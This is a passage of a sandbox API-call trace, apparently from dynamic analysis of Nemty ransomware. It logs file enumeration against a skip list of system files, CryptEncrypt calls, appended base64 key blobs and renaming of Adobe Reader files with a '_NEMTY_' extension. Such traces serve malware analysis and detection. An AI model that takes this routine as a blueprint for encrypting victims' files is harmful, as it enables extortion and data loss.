(HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInTray.gif", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0193.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInTray.gif", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOffNotificationInTray.gif", lpUsedDefaultChar=0x0) returned 29 [0193.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0193.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInTray.gif", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0193.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInTray.gif", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOffNotificationInTray.gif", lpUsedDefaultChar=0x0) returned 29 [0193.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0193.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInTray.gif", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0193.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInTray.gif", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOffNotificationInTray.gif", lpUsedDefaultChar=0x0) returned 29 [0193.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInTray.gif", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0193.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInTray.gif", cchWideChar=29, lpMultiByteStr=0x4f9ed58, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOffNotificationInTray.gif", lpUsedDefaultChar=0x0) returned 29 [0193.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94350 [0193.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94288 [0193.912] Sleep (dwMilliseconds=0x5) [0193.921] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x273ba950, dwHighDateTime=0x1d561e8)) [0193.921] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x273ba950, dwHighDateTime=0x1d561e8)) [0193.921] GetLastError () returned 0x0 [0193.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.922] GetLastError () returned 0x0 [0193.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.922] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.922] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.922] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.922] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="xji+fgWSWdwR4F56gGkNTrwsNTJF2/N9/JuvGrPj6SMK1yssImVod42UsuawPoNY\r\nIkxvtp0P+A+dQniAVdScVZLxVjhMN8FQIkD7Du32Ou8/uI7Nc4Ew2+t8pOGFmfmQ\r\ny684R2B8SlmyTtrwSmlUz7puY7vd0f5sjxj+Yz99OIfpdlHGJuOP64gEQ1PjJmiX\r\nz8BBkebWYoRFFg+HMfxsuVSIqwy0Niy8dwi+MZgdkmR5DMgoaJKdfKhvPQY0cvQb\r\ni+wc76qKU9ksCDWAo9XZHTHQhVkfGjYkaWN7j6vaZ/RFjnamuKvYbHRCKTMLsVcT\r\n14rVhrqihp8Xx1DmBdfWwg==\r\n", pcchString=0x653e91c) returned 1 [0193.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.922] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationintray.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.923] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=995) returned 1 [0193.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3e0) returned 0x6340048 [0193.923] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.923] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x3e0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x3e0, lpOverlapped=0x0) returned 1 [0193.924] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.924] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x3e0, lpOverlapped=0x0) returned 1 [0193.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.924] SetFilePointer (in: hFile=0x254, lDistanceToMove=995, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e3 [0193.924] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.924] CloseHandle (hObject=0x254) returned 1 [0193.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0193.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0193.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401b8 [0193.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0193.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.925] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationintray.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInTray.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationintray.gif._nemty_kgobjgd_")) returned 1 [0193.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0193.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.926] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="turnOnNotificationInAcrobat.gif", cAlternateFileName="TURNON~2.GIF")) returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2=".") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="..") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="...") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="windows") returned -1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="rsa") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="NTDETECT.COM") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="ntldr") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="MSDOS.SYS") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="IO.SYS") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="boot.ini") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="boot.ini") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="ntuser.dat") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="desktop.ini") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="CONFIG.SYS") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="RECYCLER") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="bootmgr") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="programdata") returned 1 [0193.926] lstrcmpiW (lpString1="turnOnNotificationInAcrobat.gif", lpString2="appdata") returned 1 [0193.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInAcrobat.gif", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0193.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInAcrobat.gif", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOnNotificationInAcrobat.gif", lpUsedDefaultChar=0x0) returned 31 [0193.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0193.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInAcrobat.gif", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0193.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInAcrobat.gif", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOnNotificationInAcrobat.gif", lpUsedDefaultChar=0x0) returned 31 [0193.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0193.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInAcrobat.gif", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0193.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInAcrobat.gif", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOnNotificationInAcrobat.gif", lpUsedDefaultChar=0x0) returned 31 [0193.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInAcrobat.gif", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0193.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInAcrobat.gif", cchWideChar=31, lpMultiByteStr=0x4f9ed58, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOnNotificationInAcrobat.gif", lpUsedDefaultChar=0x0) returned 31 [0193.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94288 [0193.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94350 | out: hHeap=0x4f90000) returned 1 [0193.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94340 [0193.927] Sleep (dwMilliseconds=0x5) [0193.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x273e0ab0, dwHighDateTime=0x1d561e8)) [0193.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x273e0ab0, dwHighDateTime=0x1d561e8)) [0193.937] GetLastError () returned 0x0 [0193.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.937] GetLastError () returned 0x0 [0193.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.937] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.937] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.938] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.938] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="iDQgWfoKRcxGtJZFRcRFAxNIPMlb9HuPCGm++Sj8iRM6lXghnGQgCVNGQdSBqlEn\r\ncvpdYPSYsNBJ/n4Nacer5QzQtpcov41hbqfqMGG8n1DbORrcvm0koxvYeozwCaEo\r\n3/tX63aR2NWiz3SSR/0REQA+n6eDXOsIQWWCW2hibVqjFmgyeOhfcx9FBNLS6Wze\r\nlBhIQwbUemnL8i2sMq2QX969dYXTtdOuhWViuMwufcqW1VXvd2+4x0ayMsOeFKP6\r\nufRAQwDBt1gYn7z+wFTF1mmgfxkqV3IhqxX1whX9siqlF7JMSXfKtJJTaZPlWPMt\r\nahH9NYe3ygtP3FqRw39oUQ==\r\n", pcchString=0x653e91c) returned 1 [0193.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.938] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationinacrobat.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.938] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=831) returned 1 [0193.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x330) returned 0x6340048 [0193.938] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.938] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x330, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x330, lpOverlapped=0x0) returned 1 [0193.940] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.940] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x330, lpOverlapped=0x0) returned 1 [0193.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.940] SetFilePointer (in: hFile=0x254, lDistanceToMove=831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x33f [0193.940] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.940] CloseHandle (hObject=0x254) returned 1 [0193.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0193.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340100 [0193.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401c8 [0193.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0193.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.941] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationinacrobat.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationinacrobat.gif._nemty_kgobjgd_")) returned 1 [0193.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0193.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 